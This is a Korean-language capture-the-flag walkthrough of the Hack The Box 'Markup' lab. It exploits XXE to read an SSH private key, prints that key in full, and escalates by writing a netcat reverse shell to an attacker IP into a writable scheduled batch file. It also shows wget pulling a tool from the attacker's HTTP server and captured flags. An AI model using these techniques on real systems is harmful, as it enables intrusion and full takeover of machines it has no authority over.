[Starting Point] TIER 1 - Markup
- -
문제
What version of Apache is running on the target's port 80?
$ sudo nmap -sV -p -T5 --open 10.129.95.192
tarting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 23:35 GMT
Nmap scan report for 10.129.95.192
Host is up (0.25s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 309.00 seconds
nmap 옵션 설명
-sV
: 서비스 버전 감지 활성화 옵션. 활성화되면,nmap
은 타겟의 포트에 연결된 서비스의 이름과 버전을 파악하려고 시도함.-p-
: 모든 포트(1부터 65535까지)를 스캔하겠다는 옵션. 이는 가능한 모든 포트를 대상으로 스캔합니다-T5
: 스캔 타이밍을 설정하는 옵션.0
부터5
까지 설정할 수 있으며, 숫자가 높을수록 스캔 속도가 빨라지지만, 네트워크 부하와 탐지 가능성이 증가합니다.--open
: 열려 있는 포트만 결과에 표시하라는 옵션. 이는 스캔 결과에서 열려 있는 포트만 보여줍니다.
정답: 2.4.41
What username:password combination logs in successfully?
정답: admin:password
What is the word at the top of the page that accepts user input?
정답: order
What XML version is used on the target?
정답: 1.0
What does the XXE / XEE attack acronym stand for?
XML 파서의 취약점을 이용하여 원격 시스템에서 데이터를 읽거나, 서버 측 요청 위조(SSRF), 서비스 거부(Denial of Service, DoS) 공격 등을 수행할 수 있음.
XXE 공격의 기본 원리는 XML 문서 내에 외부 엔티티를 포함시키는 것임. XML 엔티티는 문서 내에서 재사용할 수 있는 값을 정의하는데 사용되는데, 이를 외부 엔티티로 확장하여 공격자가 서버의 로컬 파일을 읽거나 외부 시스템과의 상호작용을 시도할 수 있음.
XXE 공격을 방지하기 위한 방법
- XML 파서 구성 변경: 외부 엔티티와 DTD(DocType Definitions)의 처리를 비활성화합니다.
- 화이트리스트 기반의 입력 검증: 사용자로부터 받은 입력에 대해 엄격한 검증을 수행합니다.
- 보안 업데이트 및 패치 적용: 사용 중인 소프트웨어와 라이브러리를 최신 상태로 유지합니다.
참고자료
정답: XML External Entity
What username can we find on the webpage's HTML code?
정답: Daniel
What is the file located in the Log-Management folder on the target?
XXE 공격을 통해 파일의 내용을 응답 값에 표시할 수 있다는 것을 확인하였다.
페이지 소스코드 내 주석으로 표시된 사용자 danial
의 SSH 키를 요청하였다.
해당 파일이 존재하여 응답에 SSH 키의 데이터를 볼 수 있었다.
$ echo "-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----" > id_rsa
$ chmod 400 id_rsa
$ ls -al id_rsa
-r-------- 1 htb-lrtk htb-lrtk 2602 Dec 15 00:33 id_rsa
XXE를 통해 얻은 SSH 키의 데이터를 복사하여 로컬에 id_rsa
파일을 생성하였다.
또한 SSH 키의 파일 권한이 400 보다 높으면 사용을 못하기 때문에 chmod
명령을 통해 권한을 400으로 수정하였다.
$ ssh -i id_rsa daniel@10.129.95.192
생성한 SSH 키를 이용하여 공격 대상에 SSH로 접근하였다.
daniel@MARKUP C:\Users\daniel\Desktop>cd C:\
daniel@MARKUP C:\>dir
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\
03/12/2020 02:56 AM <DIR> Log-Management
09/14/2018 11:12 PM <DIR> PerfLogs
07/28/2021 01:01 AM <DIR> Program Files
09/14/2018 11:21 PM <DIR> Program Files (x86)
07/28/2021 02:38 AM 0 Recovery.txt
03/05/2020 04:40 AM <DIR> Users
07/28/2021 01:16 AM <DIR> Windows
03/05/2020 09:15 AM <DIR> xampp
1 File(s) 0 bytes
7 Dir(s) 7,386,136,576 bytes free
daniel@MARKUP C:\>cd Log-Management
daniel@MARKUP C:\Log-Management>dir
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\Log-Management
03/12/2020 02:56 AM <DIR> .
03/12/2020 02:56 AM <DIR> ..
03/06/2020 01:42 AM 346 job.bat
1 File(s) 346 bytes
2 Dir(s) 7,386,136,576 bytes free
정답: job.bat
What executable is mentioned in the file mentioned before?
daniel@MARKUP C:\Log-Management>type job.bat
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
정답: wevtutil.exe
Submit user flag
daniel@MARKUP C:\Users\daniel\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\Users\daniel\Desktop
03/05/2020 06:18 AM <DIR> .
03/05/2020 06:18 AM <DIR> ..
03/05/2020 06:18 AM 35 user.txt
1 File(s) 35 bytes
2 Dir(s) 7,386,136,576 bytes free
daniel@MARKUP C:\Users\daniel\Desktop>type user.txt
032d2fc8952a8c24e39c8f0ee9918ef7
정답: 032d2fc8952a8c24e39c8f0ee9918ef7
Submit root flag
daniel@MARKUP C:\Log-Management>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
권한 설명
- SeChangeNotifyPrivilege: 파일 시스템 내에서 상위 디렉토리의 권한 없이도 하위 디렉토리에 접근할 수 있는 권한
- SeIncreaseWorkingSetPrivilege: 프로세스가 사용할 수 있는 메모리 양을 증가시키는 권한
관리자 권한
- SeDebugPrivilege: 모든 시스템 프로세스의 메모리에 접근하고 수정할 수 있는 디버깅 권한
- SeTakeOwnershipPrivilege: 시스템 내의 파일이나 객체에 대한 소유권을 변경할 수 있는 권한
- SeBackupPrivilege 및 SeRestorePrivilege: 보안 설정을 무시하고 시스템 파일 및 데이터를 백업하고 복원할 수 있는 권한
- SeRemoteShutdownPrivilege: 시스템을 원격으로 종료하거나 재시작할 수 있는 권한
- SeChangeNotifyPrivilege: 파일 시스템 내에서 상위 디렉토리의 권한 없이도 하위 디렉토리에 접근할 수 있는 권한. 관리자와 일반 사용자 모두에게 부여됨
- SeSecurityPrivilege: 보안 로그와 관련된 설정을 수정할 수 있는 권한
daniel의 권한 확인 시 관리자 권한은 존재하지 않는 것으로 확인된다.
daniel@MARKUP C:\Log-Management>type job.bat
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
wevtutil.exe
이벤트 로그와 발행자에 대한 정보를 검색할 수 있도록 해줍니다. 이 명령어를 사용하여 이벤트 매니페스트를 설치하고 제거하고, 쿼리를 실행하며, 로그를 내보내고, 보관하고, 지울 수도 있습니다.
- cl 옵션 : 지정된 이벤트 로그에서 이벤트를 지웁니다. /bu 옵션을 사용하면 지워진 이벤트를 백업할 수 있습니다.
Log와 관련이 있어 보이는 디렉터리 내 존재하는 job.bat
을 확인 시 wevtutil.exe
를 통해 이벤트 로그를 지우는 것을 알 수 있었다.
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
또한 위 코드를 통해 bcdedit
명령의 결과에 Access 문자열이 존재한다면, noAdmin
함수로 이동하여 종료되는 것을 확인 할 수 있었다. 즉, wevtutill.exe
은 관리자 권한으로 동작하는 프로그램이라는 것이다.
daniel@MARKUP C:\Log-Management>icacls job.bat
job.bat BUILTIN\Users:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
icacls
명령을 통해 job.bat
의 권한을 확인 시 Users
사용자 그룹이 모든 권한을 가지고 있다는 것을 확인할 수 있다.
- BUILTIN\Users:(F): 'Users' 사용자 그룹은
job.bat
파일에 대해 전체 권한(Full control)을 가짐 - NT AUTHORITY\SYSTEM:(I)(F): 'SYSTEM' 계정은 상속된(Inherited) 전체 권한을 가짐
- BUILTIN\Administrators:(I)(F): 'Administrators' 그룹 또한 상속된 전체 권한을 가짐
- BUILTIN\Users:(I)(RX): 'Users' 그룹은 상속된 읽기 및 실행(Read and eXecute) 권한을 가짐
daniel@MARKUP C:\Log-Management> powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Log-Management> schtasks
Folder: \
TaskName Next Run Time Status
======================================== ====================== ===============
INFO: There are no scheduled tasks presently available at your access level.
job.bat
의 작업 스케줄을 확인하려고 했지만, 관리자 권한만 확인할 수 있었다.
PS C:\Log-Management> ps "wevtutil"
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
33 3 472 1520 2404 1 wevtutil
때문에 ps
명령을 사용하여 wevtutil.exe
동작 확인하였고, job.bat
이 동작했다는 뜻과 동일하였다. 그럼, job.bat
파일 수정 권한이 존재하여 해당 bat
스크립트에 netcat
를 동작 시키도록 코드를 넣는 시나리오를 생각하였다.
그렇게 하면, 관리자 권한을 가진 프로세스가 자동으로 job.bat
를 실행 시켜 로컬 PC에서 netcat
으로 관리자 권한에 접근할 수 있지 않을까라는 생각 때문이다.
PS C:\Log-Management> wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe -outfile nc64.exe
wget : The remote name could not be resolved: 'github.com'
At line:1 char:1
+ wget https://github.com/rahuldottech/netcat-for-windows/releases/down ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
피해자 서버에서 직접 다운로드 하여고 했지만, HTB에서 페쇄망으로 구축하였기 때문에 다운로드에 실패하였다.
# Local 환경
$ wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe
--2023-12-15 02:37:32-- https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/149936095/2ebb6500-bef8-11e8-9720-0b97e7c6c78e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231215%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231215T023734Z&X-Amz-Expires=300&X-Amz-Signature=1b6328f204a9814a3a6709e7e90ec68fa381b1fd43e0a76c705fbc55d068ba89&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=149936095&response-content-disposition=attachment%3B%20filename%3Dnc64.exe&response-content-type=application%2Foctet-stream [following]
--2023-12-15 02:37:32-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/149936095/2ebb6500-bef8-11e8-9720-0b97e7c6c78e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231215%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231215T023734Z&X-Amz-Expires=300&X-Amz-Signature=1b6328f204a9814a3a6709e7e90ec68fa381b1fd43e0a76c705fbc55d068ba89&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=149936095&response-content-disposition=attachment%3B%20filename%3Dnc64.exe&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45272 (44K) [application/octet-stream]
Saving to: ‘nc64.exe’
nc64.exe 100%[=====================================================================================================>] 44.21K --.-KB/s in 0.02s
2023-12-15 02:37:33 (2.16 MB/s) - ‘nc64.exe’ saved [45272/45272]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
그래서 로컬 환경에서 다운로드 후 python
을 이용하여 전달하기로 하였다.
# 피해자 서버
PS C:\Log-Management> wget 10.10.14.121:8000/nc64.exe -outfile nc64.exe
PS C:\Log-Management> dir
Directory: C:\Log-Management
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/6/2020 1:42 AM 346 job.bat
-a---- 12/14/2023 7:40 PM 45272 nc64.exe
로컬 환경의 웹 서버에 접근하여 netcat
를 다운로드하였다.
# Local 환경
$ sudo nc -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
피해자의 서버에 netcat
다운로드가 완료되면, 로컬 환경에서 netcat
서버를 열어줬다.
# 피해자 서버
daniel@MARKUP C:\Log-Management>echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.121 1234 > C:\Log-Management\job.bat
피해자의 서버에서 job.bat
의 내용을 cmd.exe
으로 공격자의 서버에 연결하겠다는 리버스쉘 코드를 넣었다.
$ sudo nc -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.95.192.
Ncat: Connection from 10.129.95.192:49737.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
f574a3e7650cebd8c39784299cb570f8
시간이 조금 지나면, 작업 스케줄러에 의해서 job.bat
파일이 동작하고, 로컬 환경의 netcat
에 접근하게 된다.
정답: f574a3e7650cebd8c39784299cb570f8
'워게임 > Hack The Box' 카테고리의 다른 글
[Starting Point] TIER 1 - Included (0) | 2023.12.30 |
---|---|
[Starting Point] TIER 1 - Bike (0) | 2023.08.31 |
[Starting Point] TIER 1 - Ignition (0) | 2023.08.31 |
[Starting Point] TIER 1 - Responder (0) | 2023.07.31 |
[Starting Point] TIER 1 - Responder (0) | 2023.06.29 |